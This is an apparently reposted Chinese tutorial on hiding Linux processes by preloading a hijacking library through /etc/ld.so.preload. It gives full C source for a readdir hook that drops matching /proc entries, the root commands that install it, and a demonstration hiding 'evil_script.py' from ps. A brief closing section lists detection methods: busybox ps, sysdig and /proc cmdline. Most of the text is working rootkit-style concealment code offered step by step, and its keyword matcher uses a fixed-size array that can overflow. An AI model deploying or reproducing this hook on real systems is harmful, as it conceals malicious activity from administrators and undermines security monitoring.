|
原文链接:linux隐藏进程-预加载库或lib劫持
劫持lib库方式隐藏进程
原理解析:利用环境变量LD_PRELOAD或者配置ld.so.preload文件使的恶意的动态库先于系统标准库加载,以达到架空系统标准库中相关函数的目的,最终实现对特定进程的隐藏。
实现通过劫持lib库隐藏进程
这里参考:
https://github.com/gianlucaborello/libprocesshider ,英文教程
https://www.anquanke.com/post/id/226285
首先下载环境
git clone git@github.com:gianlucaborello/libprocesshider.git
cd libprocesshider-master自定义过滤函数
编辑 processhider.c,根据需要过滤的程序名称,修改process_to_filter变量值。这里需要注意下,这里匹配的是程序运行时候显示的名字,如果要使用python运行的话,这里应该填写的是python,python3同理。这里填写evil_script.py那么执行的时候就应该使用./方式执行,这样程序名为evil_script.py才会匹配并过滤。
- ......
- /*
- * Every process with this name will be excluded
- */
- static const char* process_to_filter = "evil_script.py";
- ......
复制代码
配置环境
- parallels@ubuntu:~/Documents/libprocesshider-master$ make
- gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
- parallels@ubuntu:~/Documents/libprocesshider-master$ sudo mv libprocesshider.so /usr/local/lib/
- sudo -i 进入管理员权限
- root@ubuntu:/home/parallels/Documents/libprocesshider-master# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
复制代码
![](https://img-blog.csdnimg.cn/img_convert/dac05c7d5ed44eeb0faabdf73f1980e7.png)
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
cat /etc/ld.so.preload![](https://img-blog.csdnimg.cn/img_convert/3817336437f6fe4d01ff0909610cfc0b.png)
测试ps是否会访问预加载,发现是加载了。
strace -f ps 2>&1 |grep ld.so.preload![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
![](https://img-blog.csdnimg.cn/img_convert/7b6780d65c7388f99b790fc9cbdf0c4b.png)
这里注意需要./执行evil_script.py, 进程名才会被过滤,如果想使用python执行,那么前面processhider.c需要关键字设置为python。
然后ps查询,程序名称已被过滤。
![](https://img-blog.csdnimg.cn/img_convert/e8c9403ea40c532509c53d80a6d0c773.png)
当然这里也可以进行改进,我们在另外研究。如豪宝改的通过关键字检索并用于过滤进程,匹配关键字的进程隐藏。这段代码可以在这里查看更多细节 https://github.com/ghostsang/Learning-library
- # define _GNU_SOURCE
- # include <stdio.h>
- # include <dlfcn.h>
- # include <dirent.h>
- # include <string.h>
- # include <unistd.h>
- /*
- * Every process with this name will be excluded
- */
- static const char* process_to_filter = "script";
- /*
- * Get a directory name given a DIR* handle
- */
- static int get_dir_name(DIR* dirp, char* buf, size_t size)
- {
- int fd = dirfd(dirp);
- if(fd == -1) {
- return 0;
- }
- char tmp[64];
- snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
- ssize_t ret = readlink(tmp, buf, size);
- if(ret == -1) {
- return 0;
- }
- buf[ret] = 0;
- return 1;
- }
- /*
- * Get a process name given its pid
- */
- static int get_process_name(char* pid, char* buf)
- {
- if(strspn(pid, "0123456789") != strlen(pid)) {
- return 0;
- }
- char tmp[256];
- snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
-
- FILE* f = fopen(tmp, "r");
- if(f == NULL) {
- return 0;
- }
- if(fgets(tmp, sizeof(tmp), f) == NULL) {
- fclose(f);
- return 0;
- }
- fclose(f);
- int unused;
- sscanf(tmp, "%d (%[^)]s", &unused, buf);
- return 1;
- }
- static void Next(const char* T,int *next){
- int i=1;
- next[1]=0;
- int j=0;
- while (i<strlen(T)) {
- if (j==0||T[i-1]==T[j-1]) {
- i++;
- j++;
- next[i]=j;
- }else{
- j=next[j];
- }
- }
- }
- static int KMP(char * S,const char* T){
- int next[10];
- Next(T,next);
- int i=1;
- int j=1;
- while (i<=strlen(S)&&j<=strlen(T)) {
- if (j==0 || S[i-1]==T[j-1]) {
- i++;
- j++;
- }
- else{
- j=next[j];
- }
- }
- if (j>strlen(T)) {
- return i-(int)strlen(T);
- }
- return -1;
- }
- # define DECLARE_READDIR(dirent, readdir) \
- static struct dirent* (*original_## readdir)(DIR*) = NULL; \
- \
- struct dirent* readdir(DIR *dirp) \
- { \
- if(original_## readdir == NULL) { \
- original_## readdir = dlsym(RTLD_NEXT, # readdir); \
- if(original_## readdir == NULL) \
- { \
- fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
- } \
- } \
- \
- struct dirent* dir; \
- \
- while(1) \
- { \
- dir = original_## readdir(dirp); \
- if(dir) { \
- char dir_name[256]; \
- char process_name[256]; \
- if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
- strcmp(dir_name, "/proc") == 0 && \
- get_process_name(dir->d_name, process_name) && \
- KMP(process_name, process_to_filter)!=-1) { \
- continue; \
- } \
- } \
- break; \
- } \
- return dir; \
- }
- DECLARE_READDIR(dirent64, readdir64);
- DECLARE_READDIR(dirent, readdir);
复制代码
这里测试含有script的过滤,evil_script.py 成功被过滤掉了。
![](https://img-blog.csdnimg.cn/img_convert/999f5a6febb54c5d0391bc146e63b781.png)
应对方式
1、busybox
busybox ps方式执行ps,可以不预加载库对于劫持lib场景有奇效。
busybox ps![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
![](https://img-blog.csdnimg.cn/img_convert/291afee9371419bb070d83eab89dca6a.png)
2、sysdig
还可以通过
- sudo sysdig -c topprocs_cpu # 查看cpu进程占用情况
- sudo sysdig proc.name contains evil_script # 针对包含evil_script的进程监测
- # 监测网络情况
- sudo sysdig -c topprocs_net
- sudo sysdig -c topconns
复制代码
![](https://img-blog.csdnimg.cn/img_convert/15ea50c906f5a93c3438d4feab29ab2d.png)
![](https://img-blog.csdnimg.cn/img_convert/840623394ae78877b0175eb91997c229.png)
3、/proc/PID/cmdline
![](https://img-blog.csdnimg.cn/img_convert/fb4a713ba1a93455847ddd0bed4b2f95.png)
|
|